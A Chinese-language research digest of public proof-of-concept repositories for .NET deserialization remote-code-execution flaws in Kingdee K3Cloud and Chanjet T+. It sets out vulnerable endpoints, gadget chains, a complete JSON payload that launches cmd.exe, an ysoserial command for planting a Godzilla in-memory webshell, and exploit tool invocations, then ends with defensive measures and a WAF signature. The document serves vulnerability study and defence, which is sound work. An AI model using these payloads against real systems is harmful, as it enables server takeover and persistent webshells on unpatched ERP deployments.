基于 GitHub 公开 PoC 仓库的整理归纳,覆盖金蝶云星空(K3Cloud)与用友畅捷通 T+ 的反序列化漏洞利用技术。所有内容仅供安全研究与防御参考。

一、金蝶云星空(Kingdee K3Cloud)

1.1 漏洞背景

金蝶云星空数据通信默认采用二进制数据格式(BinaryFormatter),在序列化与反序列化过程中未对数据进行签名或校验,导致客户端发出的数据可被攻击者恶意篡改,写入包含恶意代码的序列化数据,达到服务端远程命令执行效果。

  • 管理中心默认端口:8000
  • 普通应用默认端口:80(同样受影响)

影响版本:

版本线受影响范围
6.x低于 6.2.1012.4
7.x7.0.352.16 至 7.7.0.202111
8.x8.0.0.202205 至 8.1.0.20221110

1.2 触发端点

/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc

通用格式:/Kingdee.BOS.ServiceFacade.ServicesStub.<ServiceName>.<MethodName>.common.kdsvc

请求特征:Content-Type: text/json,JSON body 中 ap0 参数携带 Base64 编码的 .NET BinaryFormatter 序列化数据。

1.3 Payload 特征识别

Base64 解码后开头可见 AAEAAAD/////——.NET BinaryFormatter 序列化数据的标准签名头。中间可见典型 gadget chain 痕迹:

  • System.Windows.Forms.AxHost+State — ysoserial.net 触发器
  • System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef
  • System.Linq.Enumerable+WhereSelectEnumerableIterator — LINQ 链式调用
  • System.DelegateSerializationHolder — 委托序列化
  • System.Reflection.Assembly.Load(Byte[]) — 内存加载程序集

内嵌 PE(DLL)具有完整 MZ 头,通过 Assembly.Load() 动态加载,无文件落盘。

1.4 开源 PoC/EXP 汇总

仓库Stars说明技术要点
Sweelg/Kingdee-erp-Unserialize-RCE54金蝶云星空反序列化 RCE POC&EXPPython 实现,支持批量检测/命令回显/代理
bcvgh/Kingdee_erp_MemShell53金蝶星空云反序列化漏洞内存马ysoserial + Godzilla 冰蝎内存马
MzzdToT/Kingdee_erp_Unserialize_rce33金蝶云星空反序列化命令执行批量扫描带命令回显,批量扫描落盘 vuln.txt
yuziiiiiiiiii/Kingdee_k3cloud-ScpSupRegHandler-Upload-POC12ScpSupRegHandler 任意文件上传检测非反序列化,同系统关联漏洞

1.5 利用链技术细节

ActivitySurrogateSelector 链(Sweelg / MzzdToT 使用):

POST kdsvc 端点 (Content-Type: text/json, cmd 头携带命令)
  → JSON "ap0" 参数
  → BinaryFormatter.Deserialize()
  → ActivitySurrogateSelector + LINQ WhereSelectEnumerableIterator
  → DelegateSerializationHolder 委托劫持
  → Assembly.Load(内嵌DLL)        # 内存加载,无文件落盘
  → HttpServerUtility + ProcessStartInfo
  → cmd.exe /c <命令>             # 命令从 HTTP 请求头读取
  → 结果写入 HTTP 响应回显

判定特征:响应中包含 authority\system 即漏洞存在。

Godzilla 内存马链(bcvgh):

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile
  -c "VirtualPath_Godzilla.cs;System.Web.dll;System.dll"
  • 参考 GhostWebShell 技术
  • 利用 System.Web.HttpContext.Current.Server.Execute() 动态编译虚拟路径
  • Server.Execute + 随机文件名实现冰蝎内存马驻留
  • 通过 Response.AddHeader("Errors", ...) 回传执行状态

二、畅捷通 T+(Chanjet TPlus)

2.1 QVD-2023-13615 反序列化 RCE

漏洞端点:

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore
Header: X-Ajaxpro-Method: GetStoreWarehouseByStore

Payload 结构(JSON.NET $type 反序列化白名单绕过):

{}json
{
  "storeID": {
    "__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, ...",
    "MethodName": "Start",
    "ObjectInstance": {
      "__type": "System.Diagnostics.Process, System, ...",
      "StartInfo": {
        "__type": "System.Diagnostics.ProcessStartInfo, System, ...",
        "FileName": "cmd",
        "Arguments": "/c <命令>"
      }
    }
  }
}

利用链:

AjaxPro ashx 处理器
  → JSON.NET 反序列化(__type 白名单过滤缺陷)
  → ObjectDataProvider + ProcessStartInfo
  → cmd.exe /c <命令>(结果写入随机文件名 .txt)
  → GET /tplus/<随机文件名>.txt 回读命令结果

开源工具:

仓库Stars说明
zhaoyumi/chanjetTPlusExploit5Go 实现,QVD-2023-13615 检测+命令回显

利用示例:

bash
chanjetTPlusExploit.exe -url http://127.0.0.1:8080/            # 检测
chanjetTPlusExploit.exe -url http://127.0.0.1:8080/ -cmd whoami # 命令执行

2.2 关联漏洞(非反序列化)

仓库漏洞类型说明
Sweelg/QVD-2023-13612_TPlus-SQLvulnSQL 注入QVD-2023-13612 批量 POC
zzzz966/YONGYOU_TPlus任意文件读取DownloadProxy.aspx 读取敏感文件
kailing0220/-T-任意文件读取DownloadProxy.aspx 变体
Feng-Huang-0520/-T-keyEdit.aspx-SQL-SQL 注入keyEdit.aspx 注入

2.3 网络测绘指纹

app="畅捷通-TPlus"

三、防御建议

  1. 禁用/替换 BinaryFormatter:.NET 应用优先使用 JSON/XML 等带 schema 校验的序列化格式;必须使用 BinaryFormatter 时启用 SerializationBinder 白名单严格限制可反序列化类型。
  2. 签名与完整性校验:对客户端提交的序列化数据做 HMAC 签名校验,防篡改。
  3. AjaxPro $type 白名单:限制 __type/$type 反序列化目标类型,禁用 ObjectDataProvider、Process、ProcessStartInfo 等危险类型。
  4. WAF 规则:拦截请求体中出现 AAEAAAD/////(Base64 编码的 BinaryFormatter 头)或 /kdsvc 端点的异常 POST。
  5. 资产排查:关注管理中心 8000 端口暴露情况,K3Cloud 版本低于 8.1.0.20221110 需升级。

参考链接